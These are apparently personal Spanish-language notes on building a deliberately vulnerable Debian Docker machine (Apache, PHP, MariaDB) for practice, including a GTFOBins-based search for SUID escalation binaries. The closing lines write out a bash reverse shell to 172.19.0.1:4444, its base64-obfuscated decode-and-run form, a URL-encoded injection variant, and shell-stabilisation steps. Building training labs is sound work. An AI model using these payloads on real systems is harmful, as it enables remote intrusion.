Primero he creado la maquina en local y la he configurado.

docker run --name pruebasDebian --hostname altair -p 80:80 -e LANG=C.UTF-8 -it debian:latest /bin/bash -l

<https://jolthgs.wordpress.com/2019/09/25/create-a-debian-container-in-docker-for-development/>

despues instalo apache

<https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-debian-11>

Tambien instalo php con:

sudo apt-get install php libapache2-mod-php

Subido el docker al repo

docker commit pruebasDebian ibantxu12/debian\_vulnerable

Primer problema que me encuentro es como instalar las bases de datos en el servidor. Mi idea principal era crear una red con otra maquina y su base de datos

He pasado un momento a la parte de escalada de privilegios, con wget me he descargado el index de ctfobins para los archivos suid y sudo, luego he filtrado para que aparezcan solo los nombres de los archivos con grep, y por último e creado un script que busca todos esos nombres en la maquina con find, lo he ejecutado en mi maquina debian y he filtrado todos los archivos que no nos sirven, los de la carpeta /proc/ por ejemplo.

Pantalla negra con letras blancas

Descripción generada automáticamente

Me estoy encontrando con muchos problemas para instalar mariadb. He tenido que crear un usuario y darle los permisos necesarios en varias carpetas para poder ejecutar el comando mysqld, ya que systemctl en Docker no funciona bien.

He usado service start mariadb

echo "bash -i >& /dev/tcp/172.19.0.1/4444 0>&1" | base64 -w 0

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTkuMC4xLzQ0NDQgMD4mMQo=" | base64 -d | bash

echo "YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xNzIuMTkuMC4xLzQ0NDQgMD4mMQo%3D" | base64 -d | bash

script /dev/null -c bash > control+z > stty raw -echo; fg > reset xterm > export TERM=xterm > stty rows 44 columns 184